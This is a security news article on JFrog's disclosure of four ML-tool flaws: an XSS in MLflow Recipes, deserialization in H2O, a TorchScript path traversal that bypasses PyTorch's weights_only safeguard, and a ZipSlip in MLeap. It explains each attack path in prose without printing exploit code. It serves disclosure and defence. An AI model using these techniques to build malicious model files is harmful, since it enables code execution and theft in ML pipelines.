ML clients, ‘safe’ model formats exploitable through open-source AI vulnerabilities

Several open-source machine learning (ML) tools contain vulnerabilities that can lead to client-side malicious code execution or path traversal even when loading “safe” model formats, JFrog researchers revealed Wednesday.

The four flaws are among 22 total vulnerabilities the JFrog Security Research team have discovered among 15 different ML projects over the past few months. In a blog post, the team provided new details about vulnerabilities affecting MLflow, H2O, PyTorch and MLeap.

Attacks on ML clients can lead to lateral movement to other ML services, as JFrog researchers described in previous research presented at Black Hat USA 2024. Once an ML client is compromised, an attacker can leverage the client’s access to other services such as model registries and ML operations (MLOps) pipelines to conduct further malicious activity such as stealing or backdooring ML models.

The first client-side ML risk described in JFrog’s blog post is a vulnerability tracked as CVE-2024-27132 in the open-source platform MLflow, which is designed to help developers manage the full lifecycle of their machine learning projects. The flaw is a cross-site scripting (XSS) vulnerability that can be exploited by crafting a malicious MLflow “Recipe.”

MLflow Recipes are structure frameworks for automating ML workflows and use MLflow-specific YAML files for configuration. The researchers found that when a Recipe fails to run successfully, an error message is rendered in HTML, which includes the variable “failure_traceback” that references the exception.

To exploit CVE-2024-27132, an attacker could purposely cause an error by replacing part of the “recipe.yaml” file with an invalid input that also includes a malicious script. This malicious script becomes part of the exception message that is rendered in HTML due to improper sanitization, leading to XSS.

This exploit can also be used for arbitrary code execution when MLflow is used inside JupyterLab, as JupyterLab supports rendering HTML as part of each Cell’s output, the researchers explained. As any arbitrary JavaScript code run via this method is not sandboxed from the Juypter web application, and the web application is capable of running arbitrary Python code, an attacker can craft a MLflow Recipe payload that creates a new “Code” cell in JupyterLab and then executes the attacker’s malicious Python code.

The researchers also discovered a client-side code execution vulnerability in the open-source, distributed in-memory ML platform H2O, which stems from the use of ObjectInputStream to deserialize objects from a byte array.

The JFrog team found that the hyperparameter map of models imported to H2O were deserialized by ObjectInputStream and that including malicious code in the hyperparameter map would cause the code to be executed upon deserialization. This flaw is tracked as CVE-2024-6960.

‘Safe’ model formats not always safe

The other two vulnerabilities described in the JFrog blog post can be exploited even when using models that are considered “safe” due to not supporting code execution on load. The first is in the TorchScript feature of the PyTorch ML library, which allows for the creation of serialized and optimized models from PyTorch code, the researchers explained.

The “torch.load” API is used to load PyTorch artifacts, including TorchScript artifacts, and PyTorch offers a “weights_only” argument for loading untrusted artifacts, which will not deserialize (or “unpickle”) data types that could lead to code execution. However, even when this argument is used, and only “safe” model types can be loaded, attackers could still execute a path traversal vulnerability in TorchScript to conduct malicious activity.

The JFrog researchers showed that TorchScript can call the “torch.save” API to overwrite arbitrary files on the file system, and could achieve arbitrary code execution by overwriting an existing Pickle file with malicious code that may later be run by a user or service. Denial of service attacks can also be conducted by overwriting important files with junk data. This exploit shows how safety measures can be bypassed even when malicious scripts are not automatically executed upon loading.

The other path traversal flaw is tracked as CVE-2023-5245 and is a “ZipSlip” vulnerability in the MLeap open source library that stems from the use of the vulnerable FileUtil.extract function. This function fails to verify whether file paths contained in a ZIP archive point outside of the intended directory and can allow attackers’ malicious files to escape the intended directory using file paths with traversal characters such as “../”, the researchers wrote.

This vulnerability in FileUtil.extract can be exploited with MLeap by using MLeap to perform inference on a TensorFlow model in the zipped “SavedModel” format, where the archive is crafted to escape the intended directory as described above. This path traversal can occur regardless of whether the model itself is in a “safe” format. This vulnerability, as well as the others described, show the dangers of loading untrusted ML models and resources, even with safeguards in place, and highlights the importance of ensuring the safety of open-source models prior to using them in any ML projects.